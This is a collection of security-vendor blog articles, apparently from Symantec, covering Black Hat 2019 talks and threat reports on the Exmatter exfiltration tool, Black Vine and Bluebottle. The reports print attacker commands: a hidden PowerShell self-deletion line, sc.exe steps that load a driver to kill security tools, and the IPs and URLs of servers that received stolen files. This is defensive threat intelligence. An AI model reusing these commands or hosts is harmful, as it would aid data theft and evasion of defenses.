These findings were publicly shared by Xuanwu Lab researcher HC Ma Wednesday at the BlackHat USA 2019 conference that’s taking place this week in Las Vegas.
The Xuanwu Lab researchers were able to exploit a defect in a liveness detection algorithm that allowed them to compromise a biometric-based login or password recovery function and then log into a target’s account remotely by injecting fake video or audio streams which were generated from a face photo or a short phone recording.
The Xuanwu Lab team also resorted to very low-tech tactics to pull off a very high-tech caper. They demonstrated how they successfully got a smartphone’s facial recognition features to unlock a protected device. They only needed to tape manipulated photos of eye images on a pair of ordinary eye glasses that were placed above a sleeping victim's face to bypass the attention detection mechanism of the device’s FaceID features.
According to Ma, they were able to modify the eyeglasses “in less than 2 minutes.”
Symantec at Black Hat 2019
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BlackHat 2019: Research Finds Electric Motors Vulnerable to Hackers
As Electric Motors transform old industries, digitization also presents new challenges for security managers
Around the world, electric motors (EMs) account for more than 40 percent of annual global electricity consumption. But when any kind of hardware is dependent upon bits and bytes, the potential for mischief adds a new element of security risk to the equation.
So it is with EMs, which play an increasingly important role in moving transportation away from its dependence upon fossil fuels.
In Germany, for instance, EMs play a central part in tests now underway of an electric highway for trucks. Similarly, former diesel-burning ferries are being retrofitted with EMs as more nations around the world transform their older fleets into hybrid-electric and fully electric ferries. And in California, state officials are preparing for a future of zero-emission transportation, complete with self-driving cars, another use case where EMs loom large in an ambitious transformation plan.
All told, the EM market is expected to reach $150 billion by 2024.
Until now, there have been no major problems reported with hackers targeting EMs to wreak havoc. But that may be only a matter of time.
In a presentation at the BlackHat 2019 security conference on Wednesday, Matthew Jablonski, a PhD student at George Mason, cautioned that EMs are vulnerable to targeted attacks which could result in physical damage and loss of life.
Jablonski shared a wide-scale analysis his research team at George Mason’s Radar and Radio Engineering Lab did of EMs and their application in real-world SCADA and transportation systems, analyzing attack techniques and success hackers had disrupting their targets.
“In any critical infrastructure system, safety has been a priority,” Jablonski said, adding that systems are designed with safeguards to react when something goes wrong.
At the same time, however, he noted that security risks are going to be different for different systems and that vulnerabilities are system-specific. As more EMs get put into use where they are digitally controlled, he painted several scenarios in which hackers could wreak havoc.
While they ranged in sophistication, the different attack scenarios presented by Jablonski spotlighted what’s likely to be a growing challenge to security managers over the next several years: How to stop hackers working on behalf of nation-states, cyber criminals or malicious insiders from attacking EMs with the goal of hindering operations or even bringing them to a complete halt.
The types of failures they found included loss of control, wearing down components, limiting torque, over-rotating servo motors, fire, and some unintentional impacts of interfering with Pulse Width Modulation (PWM), a term for a type of digital signal. Jablonski said attack techniques run the gamut from pin-control attacks against PWM, DOS or injection network attacks to sensor attacks, and exploitation of the lack of security controls of software libraries on controllers
Symantec at Black Hat 2019
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BlackHat 2019: Security Lessons from the Front Lines
CSO Jamil Farshchi offers lessons distilled from fighting some of the worst security blowups ever
Jamil Farshchi, the Chief Information Security Officer at Equifax, speaking at the BlackHat 2019 conference, told the audience that security practitioners and business people are guilty of losing sight of the perspectives of customers, investors, regulators, and other stakeholders affected by the success or failure of their work.
He argued for a reset that would expand the focus beyond specific items like strengthening controls and obtaining compliance certifications to repairing a widespread loss of trust.
“I figured this out earlier in my career in my first job after college at NASA. After the 2003 Columbia disaster, an internal investigation set out to find the root cause of the explosion that destroyed the craft.
“What they said was at NASA, an accident was inevitable. Think about that: an accident was inevitable.”
Farschi said the conclusions pointed to problems in NASA’s organizational structure and decision process. This wasn’t an indictment of the lack of specific individual controls so much as it was a searching critique of the prevailing corporate culture at the space agency.
It’s a lesson that every security manager facing a post-mortem would do well to take to heart.
“If you focus just on individual controls that failed, you’re missing the bigger picture,” he said.
“The questions were all fine,” he said. But he nonetheless was left wondering whether they were the right questions.
What Can You Do?
Farschi said security managers have a uniquely valuable role to play in leading and supporting a company’s ability to maintain trust. Practitioners can start by asking themselves the following questions:
Is your head of security positioned within the organization in a way they can influence the entire enterprise? If you’re just doing security, then you’re bound to fail.
Does your head of security have regular interaction with the board of directors? That’s an essential prerequisite for CSOs or CISOs to manage up within the organization.
Are there economic incentives for doing security right? Meaningful economic incentives linked to the performance of your security program will go a long way to improving overall security.
Do you carry out consistent crisis exercises with the participation of the leadership team as well as the board of directors.
Has your organization ever delayed or halted a critical enterprise initiative because of security or privacy? If the answer is yes, then you have the right governance process in place and your management has the conviction to actually do something about identifying risks.
Even if an organization fields a mediocre security team, he said, they’ll be successful if all 5 boxes are checked. The converse is also true: If they fail to embrace those practices, even a company with an excellent security team will fail to drive real change.
“Everyone says that cyber security is important,” Farschi said. “It’s easy to talk about it. Actually, doing something and putting the pieces in place takes effort.”
Symantec at Black Hat 2019
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BlackMatter: New Data Exfiltration Tool Used in Attacks
Development of custom tool suggests ransomware attackers are attempting to increase the speed of their attacks.
At least one affiliate of the BlackMatter ransomware operation has begun using a custom data exfiltration tool in its attacks. Exmatter, which was discovered by Symantec’s Threat Hunter Team, is designed to steal specific file types from a number of selected directories and upload them to an attacker-controlled server prior to deployment of the ransomware itself on the victim’s network.
This is the third time a custom data exfiltration tool appears to have been developed by ransomware operators, following the earlier discovery of the Ryuk Stealer tool and StealBit, which is linked to the LockBit ransomware operation.
Exmatter in action
Exmatter is compiled as a .NET executable and obfuscated. When run, it checks its command line arguments for the following strings: "nownd" and "-nownd". If either is found, it attempts to hide its own window by calling the "ShowWindow" API as follows:
ShowWindow(Process.GetCurrentProcess().MainWindowHandle, 0);
In order to identify files for exfiltration, it will retrieve the drive names of all logical drives on the infected computer and collect all file path names, disregarding anything under the following directories:
C:\Documents and Settings
C:\PerfLogs
C:\Program Files\Windows Defender Advanced Threat Protection\Classification\Configuration
C:\Program Files\WindowsApps
C:\ProgramData\Application Data
C:\ProgramData\Desktop
C:\ProgramData\Documents
C:\ProgramData\Microsoft
C:\ProgramData\Packages
C:\ProgramData\Start Menu
C:\ProgramData\Templates
C:\ProgramData\WindowsHolographicDevices
C:\Recovery
C:\System Volume Information
C:\Users\All Users
C:\Users\Default
C:\Users\Public\Documents
C:\Windows
It will also exclude files of less than 1,024 bytes in size and files with the following attributes:
FileAttributes.System
FileAttributes.Temporary
FileAttributes.Directory
It will only exfiltrate files with the following extensions:
.doc
.docx
.xls
.xlsx
.pdf
.msg
.png
.ppt
.pptx
.sda
.sdm
.sdw
.csv
It attempts to prioritize files for exfiltration by using LastWriteTime.
Files that match the criteria are then uploaded to a remote SFTP server using the following parameters:
Host: 165.22.84.147
Port: 22
Exmatter also includes SOCKS5 configuration, but this is not used:
Host: 10.26.16.181
Port: 1080
When it has finished exfiltrating data, Exmatter starts the following process to remove any trace of itself:
Filename: "powershell.exe"
Arguments:
-WindowStyle Hidden -C $path = '[FILEPATH_OF_THE_EXECUTING_SAMPLE]';Get-Process | Where-Object {$_.Path -like $path} | Stop-Process -Force;[byte[]]$arr = new-object byte[] 65536;Set-Content -Path $path -Value $arr;Remove-Item -Path $path;
This will attempt to overwrite an initial chunk of the file before deleting it.
Newer variants
Multiple variants of Exmatter have been found, suggesting that the attackers have continued to refine the tool in order to expedite exfiltration of a sufficient volume of high value data in as short a time as possible.
In a second variant, the directory “C:\Program Files\Windows Defender Advanced Threat Protection\Classification\Configuration” has been replaced with “C:\Program Files\Windows Defender Advanced Threat Protection" on the exclusion list. The file types “.xlsm”, and “.zip” were added to the inclusion list.
A third version of note added a WebDav client. The code structure suggests that SFTP remains the first choice protocol, with WebDav acting as a backup. The WebDav client uses the following URL:
https://157.230.28.192/data/
The following file types were also added to the inclusion list:
.json
.config
.ts
.cs
.js
.aspx
.pst
In addition to this, Exmatter is configured to skip exfiltration for files with names containing any of the following strings:
OneDriveMedTile
locale-
SmallLogo
VisualElements
adobe_sign
Adobe Sign
core_icons
A fourth variant contained updated SFTP server details:
Host: 159.89.128.13
Port: 22
The WebDav client used the following updated URL:
https://159.89.128.13/data/
Finally, the list of files for inclusion was updated by removing “.png”.
Veteran ransomware operators
BlackMatter is linked to the Coreid cyber crime group, which was previously responsible for the Darkside ransomware. For the past 12 months, it has been one of the most prolific targeted ransomware operators and its tools have been used in a number of ambitious attacks, most notably the May 2021 Darkside attack on Colonial Pipeline that disrupted fuel supplies to the East Coast of the U.S.
Coreid operates under a RaaS model, working with affiliates to conduct ransomware attacks and then taking a share of the profits. Like most ransomware actors, attacks linked to Coreid steal victims’ data and the group then threatens to publish it to further pressure victims into paying the ransom demand. Whether Exmatter is the creation of Coreid itself or one of its affiliates remains to be seen, but its development suggests that data theft and extortion continues to be a core focus of the group.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
325ecd90ce19dd8d184ffe7dfb01b0dd02a77e9eabcb587f3738bcfbd3f832a1
5e355f90b398cbb54829038c6e5d68e8c578405d142bdcc2386cf6161c8d7014
8eded48c166f50be5ac33be4b010b09f911ffc155a3ab76821e4febd369d17ef
b6bc126526e27c98a94aab16989864161db1b3a75f18bd5c72bacbdfccad7bd7
fcaed9faa026a26d00731068e956be39235487f63e0555b71019d16a59ea7e6b
157.230.28.192
159.89.128.13
165.22.84.147
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Black Vine: Formidable cyberespionage group targeted aerospace, healthcare since 2012
Targets include gas turbine manufacturers, large aerospace and aviation companies, healthcare providers, and more.
Earlier this year, the second-largest health insurance provider in the US publicly disclosed that it had been the victim of a major cyberattack. The attack against Anthem resulted in the largest known healthcare data breach to date, with 80 million patient records exposed.
Symantec believes that the attackers behind the Anthem breach are part of a highly resourceful cyberespionage group called Black Vine. The Anthem attack is only one of multiple campaigns that Symantec has attributed to this group.
Symantec’s latest whitepaper documents multiple Black Vine operations that have been occurring since 2012. Black Vine’s targets include gas turbine manufacturers, large aerospace and aviation companies, healthcare providers, and more. The group has access to zero-day exploits, most likely obtained through the Elderwood framework, and uses custom-developed back door malware.
By connecting multiple Black Vine campaigns, we traced how the attack group has evolved over the last three years.
Background
Black Vine’s attacks to date delivered exploits for the following zero-day vulnerabilities, primarily through watering-hole attacks:
Microsoft Internet Explorer 'CDwnBindInfo' Use-After-Free Remote Code Execution Vulnerability (CVE-2012-4792)
Microsoft Internet Explorer Use-After-Free Remote Code Execution Vulnerability (CVE-2014-0322)
In its campaigns, Black Vine compromised legitimate websites that were of interest to its targets in order to serve exploits to the sites’ visitors. If the zero-day exploits successfully worked against the vulnerable software on the victim’s computer, then they dropped Black Vine’s custom malware, providing the attackers with remote access to the computer. In addition to watering-hole attacks, Black Vine also sent spear-phishing emails that disguised its threats using technology-themed lures.
Black Vine has compromised companies in the following industries:
Aerospace
Healthcare
Energy (gas & electric turbine manufacturing)
Military and defense
Finance
Agriculture
Technology
The vast majority of Black Vine malware infections were located in the US, followed by China, Canada, Italy, Denmark, and India.
Figure. Black Vine malware infections by region
Malware
Symantec observed Black Vine using three types of custom malware throughout its campaigns: Hurix and Sakurel (both detected as Trojan.Sakurel), and Mivast (detected as Backdoor.Mivast).
All three threats can perform the following actions:
Open a back door
Execute files and commands
Delete, modify, and create registry keys
Gather information from the infected computer
Our analysis suggests that Black Vine is well resourced, as the group is capable of frequently updating and modifying its malware to avoid detection.
The Elderwood connection
During our analysis, we noticed that Black Vine used certain zero-day exploits at the same time that other attack groups used them. The other campaigns have been previously investigated by Symantec, such as one by Hidden Lynx.
While these campaigns included the same zero-day exploits, they delivered different payloads unique to each attack group. The fact that these different adversaries simultaneously used the same exploits suggests that they all have access to a common zero-day exploit distribution framework.
Symantec has previously identified the framework in question as the Elderwood platform. We first researched the platform in 2012 and observed how it has been continuously updated with the latest zero-day exploits ever since. In 2014, we discovered that several attack groups were likely using the Elderwood framework, rather than just one. All of the campaigns that leveraged Elderwood’s zero-day exploits have been attributed to attackers based in China.
Other reports suggest that some of the actors involved in Black Vine’s activity may have had connections with a Beijing-based IT security firm called Topsec.
Conclusions
Black Vine is a formidable, highly resourced attack group which is equipped to conduct cyberespionage against targeted organizations. Based on our records of its past campaigns, Symantec believes that Black Vine’s malicious activity will continue.
We hope that our whitepaper will allow organizations to better understand the risk that this attack group poses, helping them to develop stronger defenses for their sensitive information.
Protection
Symantec has the following detections in place to protect against Black Vine’s malware:
Antivirus
Backdoor.Mivast
Trojan.Sakurel
Intrusion prevention system
System Infected: Trojan.Sakurel Activity
Further reading
For a complete account of Symantec’s investigation into Black Vine and its campaigns, please read our whitepaper.
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Blocked! Why Malware Attacks on Nordic Nations Sputter
Like so many things in the northern lands, experts say it's cooperation – and smarts – that make the difference.
If any security practitioners in rest of the world need pointers on how to more effectively combat the malware scourge, they ought to visit Scandinavia, where Sweden, Norway, Finland and Denmark place first through fourth in world rankings of malware-free computers.
Like so many things in the northern lands, experts say it's cooperation – and smarts – that make the difference.
"Norway and Sweden and Finland, first of all, have CERTs that are competent," said Snorre Fagerland, Principal Security Researcher at Symantec Network Protection Products in Norway. And unlike in the U.S., Fagerland says, the 5.2 million citizens of Norway generally trust their government to do the right thing, so cooperation between public and private sectors is not so difficult.
"They have also by and large good working relationships both with the various security vendors but also with the business side of things – banks and large corporations throughout the country," Fagerland added.
Stateside, it's a different matter.
American security professionals often express alarm over letting the feds know about internal investigations. They list off a parade of horribles. FBI agents, they say, could easily compromise an internal investigation by getting in the way of experts who need to chase down intruders as quickly as possible. Reporters, some insist, could obtain corporate secrets by demanding details of intrusions under the Freedom of Information Act.
The simple act of telling others about a break-in could lead to bad publicity, while lawyers could bring nuisance suits against companies that were hacked in hopes of forcing a settlement.
Taken together, it means few divulge meaningful information.
Those fears may be overblown.
"I've never seen anyone successfully sued for sharing attack information," according to Cyber law and security expert Mark Rasch. Lawsuits and bad publicity he said, come from actual breeches and real damages – exactly the things companies could reduce if they spent more time collaborating and sharing details in the first place.
So yes. Americans should trust and cooperate more as Scandinavians do, Rasch noted.
Even so, the Scandinavians have a competitive advantage.
"As societies and a culture, they are rule followers," Rasch said. "Plus, these are small countries, so everyone knows each other."
There are other, more subtle forces that work to Scandinavia's favor. Take phishing for example. Any successful phishing practitioner needs to know what will attract a target, but the precise words to use to make it believable, too.
Cyber criminals have an ocean of examples to examine to craft their pitch. But Norwegian? Finnish? The population of targeted speakers is small, and the effort needed to learn the languages is significant says Bjorn Watne, chief security officer at Norway's venerable Storebrand insurance company.
"The few times they try to translate into Norwegian or Swedish they fail," Watne said.
So, is the U.S. doomed to always be a follower of those squared-away Scandinavians? Not necessarily.
For one thing, Rasch said, the vast majority of attacks succeed because someone got sloppy. The U.S., he said, can improve on that score.
"You don't have to have state-of-the-art security," according to Rasch. "You just need good hygiene."
And it's not as though the Nordic nations can always rest on their laurels, since infection rates still hover around 20 percent in all four countries. Likewise, the countries' outsized GDPs - oil-rich Norway, in particular – make tempting targets for criminals looking for a quick hit.
Even the language barrier is proving to be more porous than it once was. Norwegian online translation companies, for instance, have reported a jump in translations for phishy-sounding phrases like "win a free iPhone" and the like lately, Watne said.
In the end, a combination of good habits and innovation will win. And on that score, the U.S. has reason to hope. After all, some of the best ideas come from people to whom rule following isn’t second nature.
"We are much more anarchic in the United States," Rasch says. "That can be a good thing."
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Bluebottle: Campaign Hits Banks in French-speaking Countries in Africa
Continuation of previously documented activity leverages new TTPs.
Bluebottle, a cyber-crime group that specializes in targeted attacks against the financial sector, is continuing to mount attacks on banks in Francophone countries. The group makes extensive use of living off the land, dual-use tools, and commodity malware, with no custom malware deployed in this campaign.
The activity observed by Symantec, a division of Broadcom Software, appears to be a continuation of activity documented in a Group-IB report from November 2022. The activity documented by Group-IB spanned from mid-2019 to 2021, and it said that during that period this group, which it called OPERA1ER, stole at least $11 million in the course of 30 targeted attacks.
Similarities in the tactics, techniques, and procedures (TTPs) between the activity documented by Group-IB and the activity seen by Symantec include:
Same domain seen in both sets of activity: personnel[.]bdm-sa[.]fr
Some of the same tools used: Ngrok; PsExec; RDPWrap; Revealer Keylogger; Cobalt Strike Beacon
No custom malware found in either set of activity
The crossover in targeting of French-speaking nations in Africa
Both sets of activity also feature the use of industry-specific, and region-specific, domain names
While this does appear to be a continuation of the activity documented by Group-IB, the activity seen by Symantec is more recent, running from at least July 2022 to September 2022, though some of the activity may have begun as far back as May 2022. Some new TTPs have also been employed in recent attacks, including:
Some indications the attackers may have used ISO files as an initial infection vector
The use of the commodity malware GuLoader in the initial stages of the attack
Indications the attackers have adopted the technique of abusing kernel drivers to disable defenses
Attack chain
The initial infection vector is unknown, but the earliest malicious files found on victim networks had French-language, job-themed file names. These likely acted as lures. In some cases, the malware was named to trick the user into thinking it was a PDF file, e.g.:
fiche de poste.exe ("job description")
fiche de candidature.exe ("application form")
fiche de candidature.pdf.exe ("application form")
It’s most likely these files were delivered to victims via a spear-phishing email, which would align with the initial infection vector documented by Group-IB for the OPERA1ER activity.
Although the majority of the activity observed by Symantec researchers began in July 2022, at least one victim was found to have an infostealer with a similar naming theme on its network as early as mid-May 2022. In that case, the malware arrived in the form of a ZIP file containing an executable SCR file.
fiche de candidature(1).zip (ZIP file)
fiche de candidature.scr (executable SCR file)
The file is an older, likely commodity, malware. It's difficult to determine when it was used to target the organization. It is, however, consistent with infection vectors reported as used by OPERA1ER in 2021.
However, the job-themed malware in July was observed in paths suggesting it had been mounted as CD-ROMs. This could indicate a genuine disc was inserted, but it could also be that a malicious ISO file was delivered to victims and mounted. An ISO file is an archive file that contains an identical copy or image of the data that would be found on an optical disc. Malicious ISO files have been used as an initial infection vector in other campaigns in 2022, including being used alongside the Bumblebee loader in a campaign where delivering ransomware was the ultimate goal. If the Bluebottle and OPERA1ER actors are indeed one and the same, this would mean that they swapped out their infection techniques between May and July 2022. ISO files were not seen in the activity documented by Group-IB.
In many cases, the job-themed malware delivered to victims was the commodity loader called GuLoader. GuLoader is a shellcode-based downloader with anti-analysis features. In addition to malicious files, the loader deploys some legitimate binaries as a decoy for its malicious activity. GuLoader was distributed to victims in a self-extracting NSIS executable. This NSIS script decrypts and injects obfuscated shellcode into another process. The process most often observed in the July activity was ieinstal.exe, the Internet Explorer Add-on Installer, but also included aspnet_regbrowsers.exe, the ASP.NET Browser Registration tool.
The process for the Internet Explorer Add-on Installer was likely used to download a malicious .NET downloader from URLs such as hxxp://178.73.192[.]15/ca1.exe. Multiple .NET downloaders were found that abused the file transfer service transfer[.]sh to download a file named with an RTF extension. This payload is unknown, but the downloaders are designed to load it as a .NET DLL.
After GuLoader and the .NET loaders were deployed, various other post-compromise tools were seen on victim networks. These include the publicly available Netwire remote access Trojan (RAT) and the open-source Quasar RAT. The attackers also used the commercial post-compromise tool Cobalt Strike Beacon. The Cobalt Strike Beacon variant used by Bluebottle employed an API hammering technique in order to hamper analysis.
Use of a signed driver to kill processes
A set of malware was also deployed by the attackers that had the likely goal of disabling the security products on victim networks. The malware consisted of two components, a controlling DLL that reads a list of processes from a third file, and a signed 'helper' driver controlled by the first driver and used to terminate the processes in the list.
Attackers used Windows Service Control (sc.exe) to load the driver:
sc create fgt binPath= %TEMP%\fgt.sys type= kernel
sc start fgt
In August 2022, Symantec observed the same driver being used in suspected pre-ransomware attack activity against a non-profit in Canada. Another tool found on the victim network was Infostealer.Eamfo, a hacktool that has been associated with Cuba, Noberus, and Lockbit ransomware attacks.
The same driver also appears to have been used by multiple groups for similar purposes. Mandiant documented a financially motivated threat group it calls UNC3944 using this same driver to disable defenses. It referred to this driver as POORTRY and the malware that uses it as STONESTOP. However, Mandiant did note at the time that “POORTRY appears across different threat groups and is consistent with malware available for purchase or shared freely between different groups.”
Sophos also documented an instance where Cuba ransomware operators used a loader called BURNTCIGAR to load signed drivers to kill defenses. The loader operates similarly to the malicious DLL seen in this activity.
These drivers were reported to Microsoft by other vendors, and the company suspended the developer accounts and added defenses to address them.
The short-term goal of Bluebottle in this recent activity appears in part to be persistence and credential theft. The actors used credential theft techniques and tools, such as modifying the WDigest setting and deploying Mimikatz, as well as an open-source fake login screen keylogger.
For lateral movement, the attackers deployed the penetration testing tool SharpHound for domain trust enumeration and executed additional files across the victim organizations using PsExec.
For persistence, evidence suggests the attackers added additional accounts using the 'net localgroup /add' command. They also deployed an open-source RDPWrap script to enable multiple concurrent RDP sessions on victim systems. This script also modifies the registry and opens port 3389 on the firewall to allow RDP traffic through.
Indications are that this activity was likely “hands-on-keyboard” activity rather than automated. While we do not see what further activity is carried out by the attackers, the victims and the crossover with the activity documented by Group-IB all indicate that this activity is likely financially motivated.
Victims
Three different financial institutions in three African nations were compromised in the activity seen by Symantec, with multiple machines infected in all three organizations.
The activity on one of the infected institution’s networks ran as follows:
The first activity was seen in mid-July 2022, when job-themed malware was spotted on the infected system. A downloader was then deployed, before the Sharphound hacktool was detected and a tool called fakelogonscreen was also deployed.
About three weeks after the initial compromise of the network, the attackers were seen using a command prompt and PsExec for lateral movement. It appears the attackers were “hands on keyboard” at this point of the attack. The attackers used various dual-use and living-off-the-land tools for numerous purposes, including:
Quser for user discovery
Ping for checking internet connectivity
Ngrok for network tunneling
Net localgroup /add for adding users
Fortinet VPN client - likely for a secondary access channel
Xcopy to copy RDP wrapper files
Netsh to open port 3389 in the firewall
The Autoupdatebat 'Automatic RDP Wrapper installer and updater' tool to enable multiple concurrent RDP sessions on a system
SC privs to modify SSH agent permissions - this could have been tampering for key theft or installation of another channel
Malicious tools used included:
GuLoader
Mimikatz
Revealer Keylogger
Backdoor.Cobalt
Netwire RAT
The malicious DLL and driver for killing processes
Multiple other unknown files were also deployed on this network. The last activity seen on this network was in September 2022, but the Ngrok tunneling tool remained on the network until November 2022.
Some of the same tools were also deployed on the other victims, with GuLoader seen in all three victims. Other activity linking the activity in all three victims includes:
Same .NET downloader
Malicious driver used
At least one overlapping transfer[.]sh URL
Conclusion
While Symantec cannot confirm whether or not Bluebottle successfully monetized the campaigns we saw it carrying out, the group’s success at monetizing its activity between 2019 and 2021, as documented by Group-IB, indicates that this group has had a significant amount of success in the past.
The effectiveness of its campaigns means that Bluebottle is unlikely to stop this activity. It appears to be very focused on Francophone countries in Africa, so financial institutions in these countries should remain on high alert for the activity documented in this blog. The attackers appear to be French-speaking, so the possibility of them expanding this activity to French-speaking nations in other regions also cannot be ruled out.
Glossary of tools mentioned
Cobalt Strike: An off-the-shelf tool that can be used to execute commands, inject other processes, elevate current processes, or impersonate other processes, and upload and download files. It ostensibly has legitimate uses as a penetration testing tool but is invariably exploited by malicious actors.
GuLoader: A shellcode-based downloader with anti-analysis features. In addition to malicious files, the loader deploys some legitimate binaries as a decoy for its malicious activity.
Mimikatz: Freely available tool capable of changing privileges, exporting security certificates, and recovering Windows passwords in plaintext depending on the configuration.
Netsh: Windows command-line utility that allows a user to configure and display the status of various network communications server roles and components.
Netwire RAT: A remote access Trojan capable of stealing passwords, keylogging, and includes remote control capabilities.
Ngrok: A tunneling tool that allows a user to open a secure tunnel that allows them to instantly open access to remote systems without touching any network settings or opening any ports on a router.
Ping: A tool that is freely available online that can allow users to determine if a specific location on a network is responding.
PsExec: Microsoft Sysinternals tool for executing processes on other systems. The tool is primarily used by attackers to move laterally on victim networks.
Quasar RAT: A remote access Trojan that primarily targets Windows systems and which allows users to remotely control other computers over a network.
Quser: Displays information about user sessions on a Remote Desktop Session Host server. You can use this command to find out if a specific user is logged on to a specific Remote Desktop Session Host server.
RDPWrap: An open-source tool that enables Remote Desktop Host support and concurrent RDP sessions.
Revealer Keylogger: A free tool that records everything typed into a computer.
SharpHound: Can collect data from domain controllers and domain-joined Windows systems.
Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
File hashes (SHA256)
117c66c0aa3f7a5208b3872806d481fd8d682950573c2a7acaf7c7c7945fe10d — ZIP file
c56c915cd0bc528bdb21d6037917d2e4cde18b2ef27a4b74a0420a5f205869e6 — Infostealer
91b3546dde60776ae3ed84fdf4f6b5fba7d39620f0a6307280265cde3a33206b — .NET downloader
9c4c9fa4d8935df811cae0ce067de54ffdb5cfb4f99b4bc36c5aa2a1ac6f9c8f — .NET downloader
1f6be4c29dfb50f924377444e5ca579d3020985a357533fc052226f0091febf6 — .NET downloader
d5b8009dcb50aac8a889e24f038a52fe09721d142a3f1eaa74ac37fff45e9ba2 — .NET downloader
ae4ff662c959cf24df621a2c0b934ed1fa1c26a270a180f695cd5295579afbbd — .NET downloader
0612ef9d2239edeab05f421e3188e2cfcadacbaeafbc9b8e35e778f7234aaa3b — .NET downloader
4acd4335ca43783ff52c0ccbb7e757ea14fb261c33d08268e85ed0ac34e0abec — .NET downloader
47718762dc043f84fb641b1e0a8c65401160cc2e558fd38c14d5d35a114b93cb — .NET downloader
a539961f80feb689546a2e334b03aed81252a04fae032e2d28ed9a7000b3afff — .NET downloader
07ca6122fde46d48f71bcde356d5eeb89040e4a6e83441968a9dade98dc36fe5 — .NET loader
938f50cb2e2d670497209e8cef5bf1042f752b6bf76d1547d68040b5a27f618b — .NET loader
a257eeebba15afecf76b89a379e066e5ed79a2bb9da349c1fdb5a24316abc753 — GuLoader
f276c6a25d6b865c6202978f1d409e8b74e063263eab517f249cf6d3ad3fae4a — GuLoader
3d0fd0444a9e295135ecfdc8c87ddc6dcdff63969c745e0218469332aef18dfe — GuLoader
ac98e6bf6d16904355b1c706bc2b79761a8b09044da40f2c8bce35142ef8bcc8 — GuLoader
ca75b0864d8308efe94eb0822de55eb7f5cfd482d2190100dfd00d433ee790a0 — GuLoader
088110b0ee3588a4822049cf60fff31c67323a9b5993eae3104cc9737a47ce0c — GuLoader
b4adbb5d017d6452c2e1700584261cd3170ee5a14ac658424945f15177494ba1 — GuLoader
818284e7ea0a4bd64ba0eda664f51877ed8c6d35bf052898559dbf4ad8030968 — GuLoader
fa6ca0a168f3400a00dc43f1be07296f4111d7ad9b275809217a9269dd613ae8 — GuLoader
d5b3b1304739986298ba9b7c3ff8b40b3740233d6bb02437ce61a20ee87468bc — GuLoader
8495a328fdd4afd33c3336e964802018d44c1dda15b804560743d6276e926218 — GuLoader
ce2ea1807d984e1392599d05f7ab742bae4f20f8ef80c5a514fbdeede2ff7e55 — Quasar RAT
e933ec0f52cbc60b92134d48b08661b1af25c7d93ff5041fc704559b45bd85b8 — Netwire RAT
6db5e2bb146b11182f29d03b036af4e195044f0ef7a8f7c4429f5d4201756b8f — Cobalt Strike
f4fba2181668f766fdfbd1362420a53ac0b987f999c95baf5dbe235fd3bad4b8 — Cobalt Strike
ec2146655e2c04bf87b8db754dd2e92b8c48c4df47b64a9adc1252efd8618e62 — Fakelogonscreen
e5633d656dea530a62f5ad2792f253e74453712be34d2eadfb49190f7a9ee10b — Malicious DLL used to register Helper Driver
0440ef40c46fdd2b5d86e7feef8577a8591de862cfd7928cdbcc8f47b8fa3ffc — Signed Helper driver
5090f311b37309767fb41fa9839d2770ab382326f38bab8c976b83ec727e6796 — Sharphound
5e245281f4924c139dd90c581fc79105ea19980baa68eeccf5bf36ae613399b9 — PsExec
31eb1de7e840a342fd468e558e5ab627bcb4c542a8fe01aec4d5ba01d539a0fc — Mimikatz
Network Indicators
hxxp://files[.]ddrive[.]online:444/load
hxxp://85.239.34[.]152/download/XWO_UnBkJ213.bin
hxxps://transmissive-basin[.]000webhostapp[.]com
hxxps://udapte[.]adesy[.]in
banqueislamik[.]ddrive[.]online
hxxps://transfer[.]sh/get/mKwvWI/NHmZJu.rtf
hxxps://transfer[.]sh/get/RTPlqa/oISxUP.rtf
hxxp://files[.]ddrive[.]online:4448/a
hxxp://banqueislamik[.]ddrive[.]online:4448/ZPjH
hxxp://46.246.86[.]12/ca3.exe
hxxp://178.73.192[.]15/ca1.exe
personnel[.]bdm-sa[.]fr
185.225.73[.]165
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Boiling the Ocean: The Critical Role of Risk Analytics
Facing a rising tide of threats, risk analytics offers organizations the ability to respond more effectively with less.
When it comes to protecting the enterprise, cyber security professionals are caught between the proverbial rock and a hard place. On the one hand, they face a constantly rising number of threats from a constantly changing threat landscape. On the other, they’re handicapped by a severe and rapidly growing shortage of trained cyber security personnel to help them respond to threats.
And, as we all know from the nearly daily reports of major data breaches and ransomware attacks, it doesn’t make for a pretty picture.
Their challenge is even more acute due to the amount of data they collect. Enterprise security teams are drowning in it. According to one survey, the average enterprise security operations center (SOC) encounters more than 10,000 alerts per day.
When it comes to protecting the enterprise, cyber security professionals are caught between the proverbial rock and a hard place.
Meanwhile, the International Information System Security Certification Consortium (ISC)2, a non-profit organization that specializes in the training and certification of cyber security professionals, estimates that there is a shortage of more than four million trained cyber security professionals worldwide, an increase of more than a million over 2019. The number includes more than 560,000 unfilled positions in North America alone. Even more eye-catching, the same (ISC)2 report reveals that nearly 80 percent of security professionals polled said their existing teams need more training and resources to be effective.
Way too much data. And organizations, large and small, with far too few assets, expertise, and resources to handle the threats hiding in that ocean of information. If organizations don’t have the resources to know what they need to know, how do they understand where their risks are? How can they remedy the situation so that they can identify, prioritize and remediate risk?
Turning Data Into Information
Fortunately, there is a solution: augmenting enterprise security staff resources with the science and technology of data analytics. And specifically, risk analytic models that focus data science on understanding and prioritizing the true risk to an organization so that enterprises can focus their limited resources where they’re most needed. For enterprise SOCs, risk analytics is a game changer that gives them the tools they need to do more with less.
Data is not information. Data are facts and figures that, by themselves, may be useful but not necessarily valuable. They require additional context and data relationships to become useful and valuable to understanding what they mean. Information is what results when that data is processed and becomes meaningful. For example, many enterprise organizations deploy security information and event management (SIEM) solutions. These popular tools do an excellent job collecting log and event data but lack the capability to process and analyze the data they collect.
Fortunately, there is a solution: augmenting enterprise security staff resources with the science and technology of data analytics
But now, new risk analytic platforms like Symantec, a division of Broadcom (NASDAQ: AVGO), Information Centric Analytics (ICA), can take the network, endpoint and other data collected and make it meaningful so that information security teams can identify their areas of greatest risk and take the necessary actions to manage it.
Risk analytics takes the data collected, weaves it all together, and analyzes it from a variety of different perspectives. It allows an organization to create a narrative about what’s really going on in their computing environment. The goal is to identify and prioritize an enterprise’s top cyber security risks, prioritize those risks based on likelihood and impact to the organization, and if a potentially substantial risk is uncovered, provide the supporting information for human analysts to vet the identified risks or orchestrate automated actions to control it.
Boiling the Ocean
